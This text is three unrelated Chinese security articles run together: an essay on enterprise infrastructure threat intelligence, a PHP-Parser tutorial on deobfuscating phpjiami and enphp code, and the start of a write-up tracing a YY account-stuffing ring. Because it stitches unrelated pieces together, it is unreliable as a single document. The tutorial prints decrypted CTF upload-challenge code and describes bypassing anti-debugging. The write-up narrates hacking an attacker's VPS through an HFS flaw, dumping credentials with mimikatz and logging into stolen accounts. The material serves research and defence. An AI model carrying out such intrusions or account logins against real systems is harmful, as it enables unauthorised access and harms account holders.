严格意义上来说的话，基础设施情报不能算是高级威胁情报的一种，只能算是一种比较基础的情报信息。但是这么一棒子把基础设施情报打残疾了也不太好，毕竟没有基础设施情报的话，是很难生产出所谓的高级威胁情报的。however，基础设施情报对于我们来说，并不是那么简单查几个IP就完事儿了。
其实这部分东西和乙方似乎没有什么太大的关系，因为乙方是采集这些基础威胁情报，通过可视化展示输出给甲方的，所以本文中阐述的视角是甲方视角下的威胁情报，当然也会穿插进少数乙方视角。
在这里我觉得得强调一点，威胁情报数据的运用不是像很多人一样是用在攻防对抗里面的，所以技术含量并不是很高，实际上威胁情报数据在我看来更像是战略产物，虽然说大家喜欢把威胁情报分为战术情报、战略情报和运营情报，但是实际上，威胁情报在使用的时候很大一部分都是和打仗中的情报一样是用来指定攻击战术的，如果说情报这个东西真的非要战术的话，很大一定程度上会吃大亏。这就造成了有时候搞实际攻防对抗的看不懂搞威胁情报运营的人在干什么，甚至有些时候认为他们在传递一些大家都知道的东西，但是实际上，所谓的威胁情报的受众而非是攻防层面上对抗的工程师，而是在背后操盘的安全管理者。刚才不是说有很大一部分么？其实剩下的一部分就是今天重点要讨论的基础设施威胁情报
## 0x01 基础威胁情报的高级化
正如前面所说，基础设施情报实际上并不是一种高级威胁情报，在威胁情报日常的运用中实际上是这么一种情况：安全设备报警说有大量的IP对我们这边发起了xxx性质的攻击/扫描，我们这边能不能查一下这些IP的源头。这种场景是一种非常非常常见的场景，但是实际上这种情况的最终结果是：安全运营工程师只会给几个IP的标记结果，是不是僵尸网络，是不是扫描器，是不是DDoS源等。这个时候如果作为管理者，肯定会认为这个数据没什么价值啊，就算我知道这些IP是扫描器，是僵尸网络，我通过我们本地的IDS、WAF、流量传感器这些设备一样可以知道这些IP对我们干了什么，从而知道这些IP是什么啊，要你们这些威胁情报数据有什么用，卖得还这么贵。
实际上这个时候我们对于这些比较基础的威胁情报而言，就需要将他们高级化了，那么什么是基础威胁情报高级化呢？其实上一篇文章说的攻击者情报就是高级化的一种方法，威胁情报高级化的方法有很多，这里不一一叙述，除了聚类分析以外，事件关联也是一种不错的方法。目前服务商能提供的比较基础的威胁情报包含：IP标记、域名解析、PDNS数据、活跃Heatmap，历史攻击行为等，其实你在RiskIQ、微步在线、360威胁情报平台等这些提供免费威胁情报的平台上查出来的数据基本都属于基础威胁情报，需要花钱，有一些就属于高级威胁情报。
实际上基础威胁情报的应用很大一部分都要依赖于本地的日志和流量，因为威胁情报提供的数据具有时效性、滞后性等特点，有时候IP虽然被标记了，但是经过时间的冲刷有时候就会洗白了，这时候如果贸然封阻这些IP，恰好有个正常的用户用这个IP访问了你的业务系统，那么用户肯定会打投诉电话过来骂娘的。所以这个时候本地的日志和流量除了确定我们已经发生的攻击之外，还有一重作用就是用来检验威胁情报的正确性和有效性。假设你在本地看到的流量是使用暴力破解工具对业务系统进行账户的暴力破解（这里需要对流量的http协议进行分析，同时在登陆认证平台上也可以看到这些登陆失败的日志，当然有些时候运维gg因为怕开日志影响性能便主动地讲服务日志关闭了，这个时候可能你有种想哭的冲动），但是你从威胁情报上查到的IP显示的是这个IP有着发钓鱼邮件的标记，有些比较。。的威胁情报平台因为没有时间标注和heatmap这种能够把标记时间输出，导致有时候用户也会说我靠你这个不准吧，然后引发了对威胁情报数据的不信任，最后演变到对威胁情报技术的不信任，这样就不好了。
当你验证完这些基础威胁情报数据的有效性之后，你就需要讲这些攻击你的IT资产进行一个统计和分析了，比如说从解析的域名入手，有哪些解析的域名是属于花生壳域名这种DDNS的，有哪些是属于VPS的，有哪些IP又是连续在一个c段里的，有哪些IP地址被标记了N多种，有哪些md5和列表的大部分IP都通信过，这些MD5被vt这种地方标记为了什么结果，能不能把这个md5样本搞到，搞到之后能不能分析一下，这个md5还连了哪些地方，要是个bot的话能不能养一下等等问题。当你把这些问题全都弄明白了，你也就实现了把这些基础威胁情报高级化的工作，可能最后的成果是一份给管理层看的报告，也有可能是几张截图加几条聊天记录，也有可能是一封邮件，或者是一篇blog。
## 0x02 基础威胁情报与基础设施威胁情报
前面说了基础威胁情报高级化，这一段来说下基础威胁情报和基础设施威胁情报。这两个词就差了两个字 ——
“设施”，那么这里的基础设施指的是什么呢？毫无以为可以把这个基础设施理解为两种：我们自己的基础设施、攻击者打我们用的基础设施（没有第三种了吧）。上一部分中我们说的其实就是识别攻击者的基础设施。
接着来说我们自己的基础设施，毫无疑问我们自己的基础设施也就是我们的IT资产，如果内部IT建设体系化的话，应该会有所有IT资产的详细信息，换句话说哪台机器上跑的什么东西这个应该是清楚的，如果这个都不清楚的话，安全就可以考虑不用做了。用一张图来表示的话那就是：
这次我也赶一次时髦，把传统的IT资产换成了现在比较流行的云资产（显得我知道的比较多，23333333，开个玩笑），我们把一台IT资产抽象成为了四层：云服务IaaS层（没有云的就是基础硬件设施层）、操作系统层、中间件服务层和业务系统层，这个大家都很明白能理解，我们需要对这些资产进行版本统计，最后总结成为一张表也就是说：
{
"type": "server",
"name": "web-bss-01-nginx",
"addrs":
{
"ip": "192.168.1.1",
"mac": "00-00-00-00-00-00",
"manufacture": "alibaba cloud"
},
"data":
[
{
"tag": "hardware",
"name": "openstack",
"version": "havana",
"addition":[]
},
{
"tag": "os",
"name": "red hat enterprise linux",
"version": "7.0",
"addition":
{
"type": "compiler",
"name": "GCC",
"version": "6.0"
}
},
{
"tag": "middle-ware",
"name": "mysql-server",
"version": "6.5",
"addition":
{
"type": "plugins",
"name": "mysql-jdbc-connector",
"version": "1.0",
"status": "disabled"
}
},
{
"tag": "service",
"name": "weblogic",
"version": "12.2.1",
"addition":
{
"type": "plugins",
"name": "wsat",
"version": "1.0",
"status": "disabled"
}
}
]
}
这样的话我们应该就能的得到一些比较细节化的资产信息了，一来方便运维部门进行资产的定位和检修，第二可以方便我们检索对应信息的威胁情报。那么这里问题又来了，整理这玩意儿有啥用。这里要回归到前两天遇到的一个小问题，厂商预警应不应该把漏洞信息包含在内，比如说什么地方爆发了什么漏洞等等，我个人认为这些信息应该提供，当然这些信息不一定有用，比如说RCE漏洞这种看上去似乎觉得应该“震惊”的漏洞其实对于某些安全专家来讲是没有什么用的，凡事都有个但是，一旦这些玩意儿出现了在野利用或者黑产有了大规模的利用用这种漏洞从事勒索、挖矿等恶意行为，并且呈现爆发态势的时候，这个时候就不应该是“震惊”了，你再怎么“震惊”，已经晚了，只能乖乖的去查受损情况，封堵蠕虫，防止扩散。对，我想说的就是永恒之蓝。当你看到这些信息的时候，不需要去马上对这些情报做出快速的响应，而是需要持续观察这些情报在互联网上产生的其他信息，并注意一些细节。以上均为开玩笑，如果同感者，不胜感激。
那么这个时候，在海量威胁情报里面要做的就是迅速找到对我方有影响的威胁情报信息，可以是一个url、可以是一句聊天记录、可以是一句话、一份安全公告、一个短信、一个电话、甚至是一条朋友圈或者是微博动态，如果你确定这个事情对你影响不大，那么就调低优先级，去干更高优先级的事情。
对于甲方而言，在今天威胁情报这么高密度的数据环境里，要迅速找到对你有影响的信息是至关重要的，所以这个时候，爬虫该开动了。
## 0x03 移花接木——反击攻击者
当然还有一种情况是，上次有人打你，这次还是这个人，但是呢我们手头已经拿到了他们用的bot的样本。这个时候我们就可以打一场反击战了。首先我们可以在内网中部署蜜罐，如果一旦有攻击流量过来的话，可以通过迁移网络流量的方式把攻击流量迅速迁移到蜜罐中，然后研究攻击者的具体行为。当然我们也可以把这个bot抓到后丢到一台与IT架构完全隔离开的VPS中运行，同时输出日志（俗称养马场），这样的话当下一次再发送指令的时候，你就会看到你的养马场里收到一条指令，这个时候情报就出来了。
而且你还能对外输出点情报（你懂得）。在这一部分，实际上我们就是恰好把攻击者的攻击流量移花接木到了我们的安全设施中进行研究，从而对攻击者使用的基础设施进行了更全面的情报提取和分析。也就是所谓的移花接木。
## 0x04 总结
写这篇文章不是针对什么，而是对于现在威胁情报数据的丰富程度和种类表示高兴，但同时又对仅提供单一种类基础威胁情报而又感到担心。担心是因为一方面基础威胁情报很有可能会在未来的一个周期由于客户不需要这种类型的数据而消失，又或因为一些优秀的安全初创公司因为仅提供单一种类的基础数据而非高级威胁情报数据失去了资本的青睐而出局，当然这个问题对于威胁情报巨头来说肯定不会是什么问题，毕竟技术实力和数据、雇员什么的都是很强的，比如国内的微步在线、国外的RiskIQ、Cisco
Talos这些，而这些初创公司的技术又是及其先进而且数据量也是不逊于行业巨头的，这是笔者不愿意看到结果。所以用好基础设施威胁情报，基础数据也能变成所谓的高级威胁情报，发挥不亚于攻击者情报的作用。
## Reference
<http://mp.weixin.qq.com/s/WM8PANDBPD1FV3tQtBVUXQ> | 社区文章 |
# 初探PHP-Parser
`PHP-Parser`是`nikic`用PHP编写的PHP5.2到PHP7.4解析器，其目的是简化静态代码分析和操作。
## Parsing
创建一个解析器实例：
use PhpParser\ParserFactory;
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
ParserFactory接收以下几个参数：
* `ParserFactory::PREFER_PHP7`：优先解析PHP7，如果PHP7解析失败则将脚本解析成PHP5
* `ParserFactory::PREFER_PHP5`：优先解析PHP5，如果PHP5解析失败则将脚本解析成PHP7
* `ParserFactory::ONLY_PHP7`：只解析成PHP7
* `ParserFactory::ONLY_PHP5`：只解析成PHP5
将PHP脚本解析成抽象语法树（AST）
<?php
use PhpParser\Error;
use PhpParser\ParserFactory;
require 'vendor/autoload.php';
$code = file_get_contents("./test.php");
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
}
var_dump($ast);
?>
## Node dumping
如果是用上面的var_dump的话显示的AST可能会比较乱，那么我们可以使用`NodeDumper`生成一个更加直观的AST
<?php
use PhpParser\NodeDumper;
$nodeDumper = new NodeDumper;
echo $nodeDumper->dump($stmts), "\n";
或者我们使用`vendor/bin/php-parse`也是一样的效果
λ vendor/bin/php-parse test.php
====> File test.php:
==> Node dump:
array(
0: Stmt_Expression(
expr: Expr_Assign(
var: Expr_Variable(
name: a
)
expr: Scalar_LNumber(
value: 1
)
)
)
)
## Node tree structure
PHP是一个成熟的脚本语言，它大约有140个不同的节点。但是为了方便使用，将他们分为三类：
* `PhpParser\Node\Stmts`是语句节点，即不返回值且不能出现在表达式中的语言构造。例如，类定义是一个语句，它不返回值，你不能编写类似func(class {})的语句。
* `PhpParser\Node\expr`是表达式节点，即返回值的语言构造，因此可以出现在其他表达式中。如：`$var (PhpParser\Node\Expr\Variable)`和`func() (PhpParser\Node\Expr\FuncCall)`。
* `PhpParser\Node\Scalars`是表示标量值的节点，如`"string" (PhpParser\Node\scalar\string)`、`0 (PhpParser\Node\scalar\LNumber)` 或魔术常量，如" **FILE** " `(PhpParser\Node\scalar\MagicConst\FILE)` 。所有`PhpParser\Node\scalar`都是延伸自`PhpParser\Node\Expr`，因为scalar也是表达式。
* 需要注意的是`PhpParser\Node\Name`和`PhpParser\Node\Arg`不在以上的节点之中
## Pretty printer
使用`PhpParser\PrettyPrinter`格式化代码
<?php
use PhpParser\Error;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;
require 'vendor/autoload.php';
$code = file_get_contents('./index.php');
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$prettyPrinter = new PrettyPrinter\Standard;
$prettyCode = $prettyPrinter->prettyPrintFile($ast);
echo $prettyCode;
## Node traversation
使用`PhpParser\NodeTraverser`我们可以遍历每一个节点，举几个简单的例子：解析php中的所有字符串，并输出
<?php
use PhpParser\Error;
use PhpParser\ParserFactory;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitorAbstract;
use PhpParser\Node;
require 'vendor/autoload.php';
class MyVisitor extends NodeVisitorAbstract{
public function leaveNode(Node $node)
{
if ($node instanceof Node\Scalar\String_)
{
echo $node -> value,"\n";
}
}
}
$code = file_get_contents("./test.php");
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
$traverser = New NodeTraverser;
$traverser->addVisitor(new MyVisitor);
try {
$ast = $parser->parse($code);
$stmts = $traverser->traverse($ast);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
?>
遍历php中出现的函数以及类中的成员方法
class MyVisitor extends NodeVisitorAbstract{
public function leaveNode(Node $node)
{
if( $node instanceof Node\Expr\FuncCall
|| $node instanceof Node\Stmt\ClassMethod
|| $node instanceof Node\Stmt\Function_
|| $node instanceof Node\Expr\MethodCall
) {
echo $node->name,"\n";
}
}
}
替换php脚本中函数以及类的成员方法函数名为小写
class MyVisitor extends NodeVisitorAbstract{
public function leaveNode(Node $node)
{
if( $node instanceof Node\Expr\FuncCall) {
$node->name->parts[0]=strtolower($node->name->parts[0]);
}elseif($node instanceof Node\Stmt\ClassMethod){
$node->name->name=strtolower($node->name->name);
}elseif ($node instanceof Node\Stmt\Function_){
$node->name->name=strtolower($node->name->name);
}elseif($node instanceof Node\Expr\MethodCall){
$node->name->name=strtolower($node->name->name);
}
}
}
需要注意的是所有的`visitors`都必须实现`PhpParser\NodeVisitor`接口，该接口定义了如下4个方法：
public function beforeTraverse(array $nodes);
public function enterNode(\PhpParser\Node $node);
public function leaveNode(\PhpParser\Node $node);
public function afterTraverse(array $nodes);
* `beforeTraverse`方法在遍历开始之前调用一次，并将其传递给调用遍历器的节点。此方法可用于在遍历之前重置值或准备遍历树。
* `afterTraverse`方法与`beforeTraverse`方法类似，唯一的区别是它只在遍历之后调用一次。
* 在每个节点上都调用`enterNode`和`leaveNode`方法，前者在它被输入时，即在它的子节点被遍历之前，后者在它被离开时。
* 这四个方法要么返回更改的节点，要么根本不返回(即null)，在这种情况下，当前节点不更改。
## other
其余的知识点可以参考官方的，这里就不多赘述了。
[Documentation for version 4.x](https://github.com/nikic/PHP-Parser/tree/master/doc) (stable; for running on PHP >= 7.0; for parsing PHP
5.2 to PHP 7.4).
[Documentation for version 3.x](https://github.com/nikic/PHP-Parser/tree/3.x/doc) (unsupported; for running on PHP >= 5.5; for parsing PHP
5.2 to PHP 7.2).
# PHP代码混淆
下面举两个php混淆的例子，比较简单（郑老板@zsx所说的20分钟内能解密出来的那种），主要是加深一下我们对`PhpParser`使用
## phpjiami
大部分混淆都会把代码格式搞得很乱，用`PhpParser\PrettyPrinter`格式化一下代码
<?php
use PhpParser\Error;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;
require 'vendor/autoload.php';
$code = file_get_contents('./test.php');
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$prettyPrinter = new PrettyPrinter\Standard;
$prettyCode = $prettyPrinter->prettyPrintFile($ast);
file_put_contents('en_test.php', $prettyCode);
格式基本能看了
因为函数和变量的乱码让我们之后的调试比较难受，所以简单替换一下混淆的函数和变量
<?php
use PhpParser\Error;
use PhpParser\NodeFinder;
use PhpParser\ParserFactory;
require 'vendor/autoload.php';
$code = file_get_contents("./index_1.php");
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
$nodeFinder = new NodeFinder;
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$Funcs = $nodeFinder->findInstanceOf($ast, PhpParser\Node\Stmt\Function_::class);
$map=[];
$v=0;
foreach ($Funcs as $func)
{
$funcname=$func->name->name;
if(!isset($map[$funcname]))
{
if (!preg_match('/^[a-z0-9A-Z_]+$/', $funcname))
{
$code=str_replace($funcname,"func".$v,$code);
$v++;
$map[$funcname]=$v;
}
}
}
$v = 0;
$map = [];
$tokens = token_get_all($code);
foreach ($tokens as $token) {
if ($token[0] === T_VARIABLE) {
if (!isset($map[$token[1]])) {
if (!preg_match('/^\$[a-zA-Z0-9_]+$/', $token[1])) {
$code = str_replace($token[1], '$v' . $v++, $code);
$map[$token[1]] = $v;
}
}
}
}
file_put_contents("index_2.php",$code);
变量和函数基本能看了，还是有一些数据是乱码，这个是它自定义函数加密的字符串，大多数都是php内置的函数，我们调试一下就基本能看到了
但是得注意一下，phpjiami有几个反调试的地方，在35行的地方打个断点
可以看到4个反调试的点：
第一个点：
当你是以cli运行php的时候就会直接die()掉，直接注释掉即可
php_sapi_name()=="cli" ? die() : ''
第二个点：
和第一个差不多，也是验证运行环境的，直接注释即可
if (!isset($_SERVER["HTTP_HOST"]) && !isset($_SERVER["SERVER_ADDR"]) && !isset($_SERVER["REMOTE_ADDR"])) {
die();
}
第三个点：
如果你在if语句处停留超过100ms的话就会直接die掉，注释即可
$v46 = microtime(true) * 1000;
eval("");
if (microtime(true) * 1000 - $v46 > 100) {
die();
}
第四个点：
$51就是整个文件内容，这行是用于加密前的文件对比是否完整，如果不完整则执行$52()，因为$52不存在所以会直接报错退出，而如果对比是完整的话那么就是$53，虽然$53也不存在，但只是抛出一个`Warning`，所以我们这里也是直接把这行注释掉。
!strpos(func2(substr($v51, func2("???"), func2("???"))), md5(substr($51, func2("??"), func2("???")))) ? $52() : $53;
注释完之后我们在return那里打一个断点，可以发现在return那里我们需要解密的文件内容呈现了出来。
解密之后的内容
?><?php @eval("//Encode by phpjiami.com,Free user."); ?><?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html><?php
其实phpjiami加密之后的整个脚本就是解密我们文件的脚本，我们的文件内容被加密之后放在了`?>`最后面
整个解密过程也比较简单，其中$v51是我们加密之后内容，$v55是解密后的内容。
$v55 = str_rot13(@gzuncompress(func2(substr($v51,-974,$v55))));
其中func2是解密函数
最后是拿func2解密之后的代码放在这个eval中执行.
还有一种比较简单快捷的方法是通过`hook eval`去获取eval的参数，因为不涉及`PHP-Parser`所以就不过多展开了。
## enphp混淆
官网：<http://enphp.djunny.com/>
github: [github](https://github.com/djunny/enphp)
使用官方的加密例子：
<?php
include './func_v2.php';
$options = array(
//混淆方法名 1=字母混淆 2=乱码混淆
'ob_function' => 2,
//混淆函数产生变量最大长度
'ob_function_length' => 3,
//混淆函数调用 1=混淆 0=不混淆 或者 array('eval', 'strpos') 为混淆指定方法
'ob_call' => 1,
//随机插入乱码
'insert_mess' => 0,
//混淆函数调用变量产生模式 1=字母混淆 2=乱码混淆
'encode_call' => 2,
//混淆class
'ob_class' => 0,
//混淆变量 方法参数 1=字母混淆 2=乱码混淆
'encode_var' => 2,
//混淆变量最大长度
'encode_var_length' => 5,
//混淆字符串常量 1=字母混淆 2=乱码混淆
'encode_str' => 2,
//混淆字符串常量变量最大长度
'encode_str_length' => 3,
// 混淆html 1=混淆 0=不混淆
'encode_html' => 2,
// 混淆数字 1=混淆为0x00a 0=不混淆
'encode_number' => 1,
// 混淆的字符串 以 gzencode 形式压缩 1=压缩 0=不压缩
'encode_gz' => 0,
// 加换行（增加可阅读性）
'new_line' => 1,
// 移除注释 1=移除 0=保留
'remove_comment' => 1,
// debug
'debug' => 1,
// 重复加密次数，加密次数越多反编译可能性越小，但性能会成倍降低
'deep' => 1,
// PHP 版本
'php' => 7,
);
$file = 'test.php';
$target_file = 'en_test.php';
enphp_file($file, $target_file, $options);
?>
加密之后大概长这样子
可以看到，我们的大部分字符串、函数等等都被替换成了类似于`$GLOBALS{乱码}[num]`这种形式，我们将其输出看一下：
可以看到我们原本的脚本中的字符串都在此数组里面，所以我们只要将`$GLOBALS{乱码}[num]`还原成原来对应的字符串即可。
那么我们如何获取`$GLOBALS{乱码}`数组的内容，很简单，在我们获取AST节点处打断点即可找到相关内容：
$split=$ast[2]->expr->expr->args[0]->value->value;
$all=$ast[2]->expr->expr->args[1]->value->value;
$str=explode($split,$all);
var_dump($str);
可以看到，和上面输出的是一样的（如果加密等级不一样则还需要加一层`gzinflate`）
然后就是通过AST一个节点一个节点将其替换即可，如果不知道节点类型的同学可以用`$GLOBALS[A][1]`，将其输出出来看一下即可，然后根据节点的类型和数据进行判断即可，如下：
class PhpParser\Node\Expr\ArrayDimFetch#1104 (3) {
public $var =>
class PhpParser\Node\Expr\ArrayDimFetch#1102 (3) {
public $var =>
class PhpParser\Node\Expr\Variable#1099 (2) {
public $name =>
string(7) "GLOBALS"
protected $attributes =>
array(2) {
...
}
}
public $dim =>
class PhpParser\Node\Expr\ConstFetch#1101 (2) {
public $name =>
class PhpParser\Node\Name#1100 (2) {
...
}
protected $attributes =>
array(2) {
...
}
}
protected $attributes =>
array(2) {
'startLine' =>
int(2)
'endLine' =>
int(2)
}
}
public $dim =>
class PhpParser\Node\Scalar\LNumber#1103 (2) {
public $value =>
int(1)
protected $attributes =>
array(3) {
'startLine' =>
int(2)
'endLine' =>
int(2)
'kind' =>
int(10)
}
}
protected $attributes =>
array(2) {
'startLine' =>
int(2)
'endLine' =>
int(2)
}
}
根据上面的节点编写脚本
public function leaveNode(Node $node)
{
if ($node instanceof PhpParser\Node\Expr\ArrayDimFetch
&& $node->var instanceof PhpParser\Node\Expr\ArrayDimFetch
&& $node->var->var instanceof PhpParser\Node\Expr\Variable
&& $node->var->var->name==="GLOBALS"
&& $node->var->dim instanceof PhpParser\Node\Expr\ConstFetch
&& $node->var->dim->name instanceof PhpParser\Node\Name
&& $node->var->dim->name->parts[0]===$this->str
&& $node->dim instanceof PhpParser\Node\Scalar\LNumber
){
return new PhpParser\Node\Scalar\String_($this->str_arr[$node->dim->value]);
}
return null;
}
解出来的内容如下，可以看到大部分已经成功解密出来了
还有就是解密的一部分出现这样语句：`('highlight_file')(__FILE__);`，很明显不符合我们平时的写法，将其节点重命名一下
if (($node instanceof Node\Expr\FuncCall
|| $node instanceof Node\Expr\StaticCall
|| $node instanceof Node\Expr\MethodCall)
&& $node->name instanceof Node\Scalar\String_) {
$node->name = new Node\Name($node->name->value);
}
现在看起来就舒服多了
我们分析剩下乱码的部分
可以看到是函数里面的局部变量还是乱码，从第一句可以看出所有的局部变量都是以`& $GLOBALS[乱码]`为基础的，而`&
$GLOBALS[乱码]`是我们上面已经找出来的，所以也是将其替换即可。
if ($node instanceof \PhpParser\Node\Stmt\Expression
&& $node->expr instanceof \PhpParser\Node\Expr\AssignRef
&& $node->expr->var instanceof \PhpParser\Node\Expr\Variable
&& $node->expr->expr instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->expr->expr->var instanceof \PhpParser\Node\Expr\Variable
&& $node->expr->expr->var->name==="GLOBALS"
&& $node->expr->expr->dim instanceof \PhpParser\Node\Expr\ConstFetch
&& $node->expr->expr->dim->name instanceof \PhpParser\Node\Name
&& $node->expr->expr->dim->name->parts!=[]
){
$this->Localvar=$node->expr->var->name;
return NodeTraverser::REMOVE_NODE;
}else if ($node instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->var instanceof \PhpParser\Node\Expr\Variable
&& $node->var->name===$this->Localvar
&& $node->dim instanceof \PhpParser\Node\Scalar\LNumber
){
return new \PhpParser\Node\Scalar\String_($this->str_arr[$node->dim->value]);
}
替换之后，可以看到与`& $GLOBALS[乱码]`有关的已经全部被替换了，只有变量部分是乱码了
替换变量为`$v`这种形式
function BeautifyVariables($code){
$v = 0;
$map = [];
$tokens = token_get_all($code);
foreach ($tokens as $token) {
if ($token[0] === T_VARIABLE) {
if (!isset($map[$token[1]])) {
if (!preg_match('/^\$[a-zA-Z0-9_]+$/', $token[1])) {
$code = str_replace($token[1], '$v' . $v++, $code);
$map[$token[1]] = $v;
}
}
}
}
return $code;
}
至此所有代码全部被还原（除了变量名这种不可抗拒因素之外）
还有一部分是没有用的全局变量和常量，手动或者根据AST去进行删除即可，下面贴一下完整解密脚本
<?php
require "./vendor/autoload.php";
use \PhpParser\Error;
use \PhpParser\ParserFactory;
use \PhpParser\NodeTraverser;
use \PhpParser\NodeVisitorAbstract;
use \PhpParser\Node;
use \PhpParser\PrettyPrinter\Standard;
class MyVisitor extends NodeVisitorAbstract{
public $str;
public $str_arr;
public $Localvar;
public function leaveNode(Node $node)
{
if ($node instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->var instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->var->var instanceof \PhpParser\Node\Expr\Variable
&& $node->var->var->name==="GLOBALS"
&& $node->var->dim instanceof \PhpParser\Node\Expr\ConstFetch
&& $node->var->dim->name instanceof \PhpParser\Node\Name
&& $node->var->dim->name->parts[0]===$this->str
&& $node->dim instanceof \PhpParser\Node\Scalar\LNumber
){
return new \PhpParser\Node\Scalar\String_($this->str_arr[$node->dim->value]);
}
if (($node instanceof Node\Expr\FuncCall
|| $node instanceof Node\Expr\StaticCall
|| $node instanceof Node\Expr\MethodCall)
&& $node->name instanceof Node\Scalar\String_) {
$node->name = new Node\Name($node->name->value);
}
if ($node instanceof \PhpParser\Node\Stmt\Expression
&& $node->expr instanceof \PhpParser\Node\Expr\AssignRef
&& $node->expr->var instanceof \PhpParser\Node\Expr\Variable
&& $node->expr->expr instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->expr->expr->var instanceof \PhpParser\Node\Expr\Variable
&& $node->expr->expr->var->name==="GLOBALS"
&& $node->expr->expr->dim instanceof \PhpParser\Node\Expr\ConstFetch
&& $node->expr->expr->dim->name instanceof \PhpParser\Node\Name
&& $node->expr->expr->dim->name->parts!=[]
){
$this->Localvar=$node->expr->var->name;
return NodeTraverser::REMOVE_NODE;
}else if ($node instanceof \PhpParser\Node\Expr\ArrayDimFetch
&& $node->var instanceof \PhpParser\Node\Expr\Variable
&& $node->var->name===$this->Localvar
&& $node->dim instanceof \PhpParser\Node\Scalar\LNumber
){
return new \PhpParser\Node\Scalar\String_($this->str_arr[$node->dim->value]);
}
return null;
}
}
function BeautifyVariables($code){
$v = 0;
$map = [];
$tokens = token_get_all($code);
foreach ($tokens as $token) {
if ($token[0] === T_VARIABLE) {
if (!isset($map[$token[1]])) {
if (!preg_match('/^\$[a-zA-Z0-9_]+$/', $token[1])) {
$code = str_replace($token[1], '$v' . $v++, $code);
$map[$token[1]] = $v;
}
}
}
}
return $code;
}
$code = file_get_contents("./en_test.php");
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
var_dump($ast);
$split=$ast[2]->expr->expr->args[0]->value->value;
$all=$ast[2]->expr->expr->args[1]->value->value;
$str1=$ast[2]->expr->var->dim->name->parts[0];
$str_arr=explode($split,$all);
$visitor=new MyVisitor;
$visitor->str=$str1;
$visitor->str_arr=$str_arr;
$traverser = New NodeTraverser;
$traverser->addVisitor($visitor);
$stmts = $traverser->traverse($ast);
$prettyPrinter = new Standard;
$code=$prettyPrinter->prettyPrintFile($stmts);
$code=BeautifyVariables($code);
echo $code;
**注：需要注意的是enphp使用的全局变量不一定是GLOBALS，也可能是_SERVER、_GET等等，根据具体情况进行判断，还有就是加密等级不同对应的解密方式也是不同的，不过其中的思想都是大同小异**
# Reference
<https://www.52pojie.cn/thread-693641-1-1.html>
<https://www.52pojie.cn/thread-883976-1-1.html>
<https://xz.aliyun.com/t/7363>
<https://github.com/nikic/PHP-Parser/blob/master/doc/2_Usage_of_basic_components.markdown> | 社区文章 |
# 从一次溯源窥探地下YY直播洗号产业链
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文将揭露地下黑产中最常见的扫号产业链，包括从账号收集、代理抓取、扫号、洗号、变现的完整过程。本次主要讲述针对YY直播的扫号产业链
作者：路人甲@360云影实验室
## 0x00 偶然发现的扫号黑客
近日在蜜罐中发现了一个特别的腾讯云的ip，这个ip通过我们蜜罐的匿名代理端口对几个特定的ip频繁发包，但是数据包内容看着并无异常，就是些常规tcp链接。
在这这个ip的80端口部着一个hfs，奇怪的是它这个hfs中存的不是木马远控样本，也不是挖矿样本，而是一堆ip和端口组合
这些勾起了我们的好奇心。正好他的hfs是有漏洞的版本，于是就有了下面漫长的文章
**1** **、控制黑客机器**
利用hfs的代码执行直接打下黑客的vps，直接去到管理员的桌面，第一眼看着机器似乎一切正常
打开前面名字为“保存数据xxx”的文件夹，呈现在面前是大量的已经分好类型的账号和密码文件。
根据分类名，猜测这些应该都是YY直播的账号密码。
于是为了验证这些账户的真实性，我们尝试登陆了几个账号。成功率几乎百分之百。
如下图:
这些分类文件里面的账号，都是能登陆的，而且有些账号里面的还剩余有Y币或者钻等。粗略的计算了下，就在这一个文件夹中的账密就有15000多条。然后在机器上发现了好几款YY直播的扫号器。
用mimikatz抓取了管理员密码，切换到他的桌面，扫号的程序正在疯狂工作
尝试运行其中的一款扫号工具，导入他vps已经扫出来的账号，发现全部等能登录， 这个扫号工具效率还是极其高的。
